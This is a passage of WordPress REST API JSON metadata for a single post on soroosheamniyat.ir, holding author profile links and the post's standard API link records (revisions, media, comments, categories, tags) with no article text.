\u0641\u0627\u0631\u0646\u0632\u06cc\u06a9","sameAs":["http:\/\/www.soroosheamniyat.ir","@soroosheamniyat.ir","https:\/\/www.linkedin.com\/in\/----928b90203\/","https:\/\/x.com\/sorosheamniyat"],"url":"https:\/\/soroosheamniyat.ir\/?author=3"}]}},"_links":{"self":[{"href":"https:\/\/soroosheamniyat.ir\/index.php?rest_route=\/wp\/v2\/posts\/1655","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/soroosheamniyat.ir\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/soroosheamniyat.ir\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/soroosheamniyat.ir\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/soroosheamniyat.ir\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1655"}],"version-history":[{"count":1,"href":"https:\/\/soroosheamniyat.ir\/index.php?rest_route=\/wp\/v2\/posts\/1655\/revisions"}],"predecessor-version":[{"id":1657,"href":"https:\/\/soroosheamniyat.ir\/index.php?rest_route=\/wp\/v2\/posts\/1655\/revisions\/1657"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/soroosheamniyat.ir\/index.php?rest_route=\/wp\/v2\/media\/1656"}],"wp:attachment":[{"href":"https:\/\/soroosheamniyat.ir\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1655"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/soroosheamniyat.ir\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1655"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/soroosheamniyat.ir\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1655"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}